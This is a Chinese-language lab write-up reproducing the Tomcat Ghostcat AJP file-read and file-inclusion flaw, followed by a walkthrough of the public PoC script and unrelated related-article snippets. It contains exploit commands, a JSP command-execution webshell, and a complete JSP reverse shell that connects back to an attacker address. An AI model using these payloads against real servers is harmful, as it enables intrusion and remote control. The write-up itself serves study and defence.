Tomcat- AJP协议文件读取/命令执行漏洞(幽灵猫复现)详细步骤

一、漏洞描述

Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器.默认情况下,Apache Tomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互.但Apache Tomcat在AJP协议的实现上存在漏洞,导致攻击者可以通过发送恶意的AJP请求,可以读取或者包含Web应用根目录下的任意文件,如果配合文件上传任意格式文件,将可能导致任意代码执行(RCE).该漏洞利用AJP服务端口实现攻击,未开启AJP服务对外不受漏洞影响(tomcat默认将AJP服务开启并绑定至0.0.0.0/0).

二、危险等级

高危

三、漏洞危害

攻击者可以读取 Tomcat所有 webapp目录下的任意文件。此外如果网站应用提供文件上传的功能,攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件(上传的文件本身可以是任意类型的文件,比如图片、纯文本文件等),然后利用 Ghostcat 漏洞进行文件包含,从而达到代码执行的危害

四、影响范围

Apache Tomcat 9.x < 9.0.31

Apache Tomcat 8.x < 8.5.51

Apache Tomcat 7.x < 7.0.100

Apache Tomcat 6.x

五、前提条件

对于处在漏洞影响版本范围内的 Tomcat 而言,若其开启 AJP Connector 且攻击者能够访问 AJP Connector 服务端口的情况下,即存在被 Ghostcat 漏洞利用的风险。注意 Tomcat AJP Connector 默认配置下即为开启状态,且监听在 0.0.0.0:8009 。

六、漏洞原理

Tomcat 配置了两个Connector,Connector组件的主要职责就是负责接收客户端连接和客户端请求的处理加工。它们分别是 HTTP 和 AJP :HTTP默认端口为8080,处理http请求,而AJP默认端口8009,用于处理 AJP 协议的请求,而AJP比http更加优化,多用于反向、集群等,漏洞由于Tomcat AJP协议存在缺陷而导致。

攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果有某上传点,上传图片马等等,即可以获取shell。

浏览器不能直接支持AJP协议。所以实际通过Apacheproxy_ajp模块进行反向代理,暴露成http协议(8009端口)给客户端访问

相关的配置文件在conf/server.xml。

构造两个不同的请求,经过tomcat内部处理流程,一个走default servlet(DefaultServlet),另一个走jsp servlet(JspServlet),可导致的不同的漏洞。

文件读取漏洞走的是DefaultServlet,文件包含漏洞走的是JspServlet。

七、部署靶机环境

靶机:ubuntu22.04

配置:可以看看这个,无脑操作(当然可以使用docker)

在 Ubuntu 20.04 上安装 Apache Tomcat 教程 - Bandwagonhost中文网-Bandwagonhost中文网

攻击机:Linux kali2023

八、复现过程

1、探测IP

2、任意文件读取

下载Exp

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

cd CNVD-2020-10487-Tomcat-Ajp-lfi/chmod +x CNVD-2020-10487-Tomcat-Ajp-lfi.py 

读取文件内容(-f后即是指定的文件):

python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.155.184 -p 8009 -f WEB-INF/web.xml
Python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.155.184 -p 8009 -f index.jsp

3.任意文件包含(这个需要结合文件上传漏洞)

这里自己上传了一个木马到ROOT目录:test.txt

脚本内容:

<%out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());%>

访问一下是可达的

修改Poc:

主要是这,将/asdf改成/asdf.jspx

执行脚本

python2 cvefileinclude.py 192.168.155.184 -p 8009 -f test.txt

成功

尝试反弹shell:

脚本:

<%@page import="java.lang.*,  java.util.*,  java.io.*,  java.net.*"%><%try {String host = "192.168.155.166";int port = 9001;Socket socket = new Socket();socket.connect(new  InetSocketAddress(host, port), 2000);Process process;if (System.getProperty("os.name").toLowerCase().contains("win"))  {process = new ProcessBuilder("cmd.exe").redirectErrorStream(true).start();} else {process = new ProcessBuilder("/bin/sh").redirectErrorStream(true).start();}InputStream  pin = process.getInputStream();InputStream  perr = process.getErrorStream();OutputStream pout = process.getOutputStream();InputStream  sin = socket.getInputStream();OutputStream sout = socket.getOutputStream();while(!socket.isClosed())  {while(pin.available()  > 0)  sout.write(pin.read());while(perr.available()  > 0) sout.write(perr.read());while(sin.available()  > 0)  pout.write(sin.read());sout.flush();pout.flush();}process.destroy();socket.close();} catch (Exception e) {}%>

九、POC解析

(一)引入的包及作用

1、struct:用于处理二进制数据,AJP协议基于二进制

2、socket:建立与Tomcat服务器的AJP端口的TCP连接,发送构造的恶意请求并接收响应。

3、argparse:解析命令行参数

4、StringIO(隐式引入):在AjpForwardRequest.parse() 中,用于将二进制数据流转换为类文件对象,便于流式解析

(二)函数

Pack_strings:函数

将字符串 s 按特定二进制格式序列化:[2字节长度] + [字符串字节数据] + [1字节的0]

       >h: 表示大端(Big-endian)的有符号短整数(2字节)

       >H:大端的无符号短整数(2字节)

       %ds:动态长度的字节串(例如 5s 表示 5 字节),对应 s 的 UTF-8 编码数据。

        b:一个有符号字节(1字节),固定为 0

大端序是最高有效字节在前,小端是最低有效字节在前。AJP协议是基于TCP的,而网络传输通常采用大端序,也就是网络字节序。同时Tomcat AJP协议(Apache JServ Protocol)明确要求所有字段以大端序编码,且字符串以 \0 结尾

Unpack函数

解包二进制数据,返回一个元组

计算需要读取的字节数à读取字节à按照格式解析读取到的字节

unpack_string函数

从二进制流中解析 AJP 协议格式字符串,记住前两个字节表示整个字节流的长度

(三)类

AjpBodyRequest类

处理客户端与服务器之间的数据传输

数据传输方向:

读取字节à空则返回数据头,非空则添加数据长度à根据方向拼接数据并返回

循环发送数据块 → 等待服务器指令 → 根据指令决定是否继续发送

GET_BODY_CHUNK:表示对方要求发送下一个数据块(用于分片传输)。

SEND_HEADERS:表示对方已发送响应头,需结束数据传输。

len(data) == 4:表示空包

AjpForwardRequest类

构造和发送AJP请求到目标服务器

分配数值标识符,AJP协议要求将HTTP方法以数值而不是字符串形式传输

后面定义标准请求头和请求属性

SC_REQ:该头是 AJP协议预定义的标准头

区分预定义头和自定义头,将HTTP请求头按AJP协议规范序列化为二进制数据

若属性名为req_attribute,表示这是一个嵌套属性,其值需拆分为两个部分(名,值)à打包属性(名)值。看到这里可以基本明白漏洞原理。

AJP 协议未对 javax.servlet.include.* 属性进行安全校验,攻击者通过伪造请求头实现 路径穿越。通过设置req_attribute 属性,注入恶意路径,触发 Tomcat 解析任意文件,从而泄露敏感信息。例如:{'name':'req_attribute', 'value':['javax.servlet.include.path_info', 'WEB-INF/web.xml']},

在属性列表末尾添加 0xFF,表示 属性序列结束

Serialize函数:生成二进制数据包

Parse函数:解析接收到的AJP协议数据包,将其转换为结构化的请求对象

send_and_receive函数:处理AJP协议的请求发送和响应接收

参数传入

/asdf 是用于触发 AJP 文件包含漏洞的任意路径,实现路径覆盖,访问目标文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/news/907773.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

IEEE P370:用于高达 50 GHz 互连的夹具设计和数据质量公制标准

大多数高频仪器&#xff0c;如矢量网络分析仪 &#xff08;VNA&#xff09; 和时域反射仪 &#xff08;TDR&#xff09;&#xff0c;都可以在同轴接口的末端进行非常好的测量。然而&#xff0c;复杂系统中使用的互连很少具有同轴接口。用于表征这些设备的夹具的设计和实施会对测…

OneForAll 使用手册

OneForAll 使用手册 一、概述 OneForAll 是一款功能强大的子域名收集工具&#xff0c;旨在帮助安全测试人员和网络管理员全面发现目标域名的所有子域名&#xff0c;为后续的安全评估和漏洞测试提供基础支持。它集成了多种子域名发现方法&#xff0c;包括搜索引擎查询、DNS 枚…

从前端工程化角度解析 Vite 打包策略:为何选择 Rollup 而非 esbuild。

文章目录 前言一、esbuild 与 Rollup 的技术特性对比&#xff08;一&#xff09;esbuild&#xff1a;极速开发利器&#xff0c;功能尚待完善&#xff08;二&#xff09;Rollup&#xff1a;专业打包工具&#xff0c;功能全面强大 二、Vite 打包策略的工程化考量因素&#xff08;…

Chrome 通过FTP,HTTP 调用 Everything 浏览和搜索本地文件系统

【提问1】 Chrome调用本地 everything.exe, everything 好像有本地 FTP 服务器&#xff1f; 【DeepSeek R1 回答】 是的&#xff0c;Everything 确实内置了 HTTP/FTP 服务器功能&#xff0c;这提供了一种相对安全的浏览器与本地应用交互的方式。以下是完整的实现方案&#x…

Java八股文智能体——Agent提示词(Prompt)

这个智能体能够为正在学习Java八股文的同学提供切实帮助&#xff1a;不仅可以帮你优化答案表述&#xff0c;还能直接解答八股文相关问题——它会以面试者的视角&#xff0c;给出贴合求职场景的专业回答。 将以下内容发送给任何一个LLM&#xff0c;他会按照你提示词的内容&…

Android 缓存应用冻结器(Cached Apps Freezer)

一、核心功能与原理 1. 功能概述 目标&#xff1a;通过冻结后台缓存应用的进程&#xff0c;减少其对 CPU、内存等系统资源的消耗&#xff0c;优化设备性能与续航。适用场景&#xff1a;针对行为不当的后台应用&#xff08;如后台偷偷运行代码、占用 CPU&#xff09;&#xff…

内存管理 : 06 内存换出

内存换出的重要性及与换入的关系 现在我们讲第25讲&#xff0c;主题是内存的换出&#xff08;swipe out&#xff09;。实际上&#xff0c;上一讲我们讲的是内存的换入&#xff0c;而这一节聚焦于内存的换出。 换入和换出必须合在一起工作&#xff0c;不能只有换入而没有换出。…

第一节 51单片机概述

目录 一、单片机系统组成 &#xff08;一&#xff09;、单片机硬件系统 &#xff08;二&#xff09;单片机的软件系统 二、STC89C52单片机 &#xff08;1&#xff09;、基本信息 &#xff08;2&#xff09;、命名规则 &#xff08;3&#xff09;、单片机内部结构图 &am…

前端面试准备-4

1.React Router的history模式中&#xff0c;push和replace有什么区别 都是用于页面导航&#xff0c;但是他们对浏览器历史记录的处理不一样。 ①&#xff1a;push是在浏览历史栈里加入一条新的浏览历史&#xff0c;点击返回键会返回上一个页面 ②;replace是替换当前历史记录…

【机器学习基础】机器学习入门核心:Jaccard相似度 (Jaccard Index) 和 Pearson相似度 (Pearson Correlation)

机器学习入门核心&#xff1a;Jaccard相似度 &#xff08;Jaccard Index&#xff09; 和 Pearson相似度 &#xff08;Pearson Correlation&#xff09; 一、算法逻辑Jaccard相似度 (Jaccard Index)**Pearson相似度 (Pearson Correlation)** 二、算法原理与数学推导1. Jaccard相…

Unity3D仿星露谷物语开发57之保存库存信息到文件

1、目标 保存下面库存栏中信息到文件中。 2、修改SceneSave.cs脚本 添加2行代码&#xff1a; 3、修改InventoryManager对象 添加Generate GUID组件。 4、修改InventoryManager.cs脚本 添加继承自ISaveable 添加属性信息&#xff1a; private string _iSaveableUniqueID;pub…

测量3D翼片的距离与角度

1&#xff0c;目的。 测量3D翼片的距离与角度。说明&#xff1a; 标注A 红色框选的区域即为翼片&#xff0c;本示例的3D 对象共有3个翼片待测。L1与L2的距离、L1与L2的角度即为所求的翼片距离与角度。 2&#xff0c;原理。 使用线结构光模型&#xff08;标定模式&#xff0…

深入理解 SQL 的 JOIN 查询:从基础到高级的第一步

在处理数据库时&#xff0c;我们常常需要从多个表中提取数据。比如想知道一个城市的天气情况&#xff0c;同时又想知道这个城市的具体位置。这就需要将 weather 表和 cities 表结合起来查询。这种操作在 SQL 中被称为 JOIN 查询。 现在看下两种表的情况 1.weather 表&#xff…

上传头像upload的简易方法,转base64调接口的

1.首页使用el-image显示数据&#xff0c;用的是转base64后端返给的 <el-table-column prop"avatar" align"center" label"头像"><template #default"scope"><el-image style"height: 40px;width: 40px;" :sr…

[AD] CrownJewel-1 Logon 4799+vss-ShadowCopy+NTDS.dit/SYSTEM+$MFT

QA QA攻擊者可以濫用 vssadmin 實用程式來建立卷影快照&#xff0c;然後提取 NTDS.dit 等敏感檔案來繞過安全機制。確定卷影複製服務進入運作狀態的時間。2024-05-14 03:42:16建立卷影快照時&#xff0c;磁碟區複製服務會使用機器帳戶驗證權限並列舉使用者群組。找到卷影複製過…

rtpmixsound:实现音频混音攻击!全参数详细教程!Kali Linux教程!

简介 一种将预先录制的音频与指定目标音频流中的音频&#xff08;即 RTP&#xff09;实时混合的工具。 一款用于将预先录制的音频与指定目标音频流中的音频&#xff08;即 RTP&#xff09;实时混合的工具。该工具创建于 2006 年 8 月至 9 月之间。该工具名为 rtpmixsound。它…

GitHub 趋势日报 (2025年05月28日)

&#x1f4ca; 由 TrendForge 系统生成 | &#x1f310; https://trendforge.devlive.org/ &#x1f310; 本日报中的项目描述已自动翻译为中文 &#x1f4c8; 今日获星趋势图 今日获星趋势图 2379 agenticSeek 1521 computer-science 841 n8n 577 langflow 351 qlib 282 skt…

threejsPBR材质与纹理贴图

1. PBR材质简介 本节课没有具体的代码&#xff0c;就是给大家科普一下PBR材质&#xff0c;所谓PBR就是&#xff0c;基于物理的渲染(physically-based rendering)。 Three.js提供了两个PBR材质相关的APIMeshStandardMaterial和MeshPhysicalMaterial,MeshPhysicalMaterial是Mes…

Android 12系统源码_多屏幕(四)自由窗口模式

一、小窗模式 1.1 小窗功能的开启方式 开发者模式下开启小窗功能 adb 手动开启 adb shell settings put global enable_freeform_support 1 adb shell settings put global force_resizable_activities 11.2 源码配置 copy file # add for freedom PRODUCT_COPY_FILES …

C# 将HTML文档、HTML字符串转换为图片

在.NET开发中&#xff0c;将HTML内容转换为图片的需求广泛存在于报告生成、邮件内容存档、网页快照等场景。Free Spire.Doc for .NET作为一款免费的专业文档处理库&#xff0c;无需Microsoft Word依赖&#xff0c;即可轻松实现这一功能。本文将深入解析HTML文档和字符串转图片两…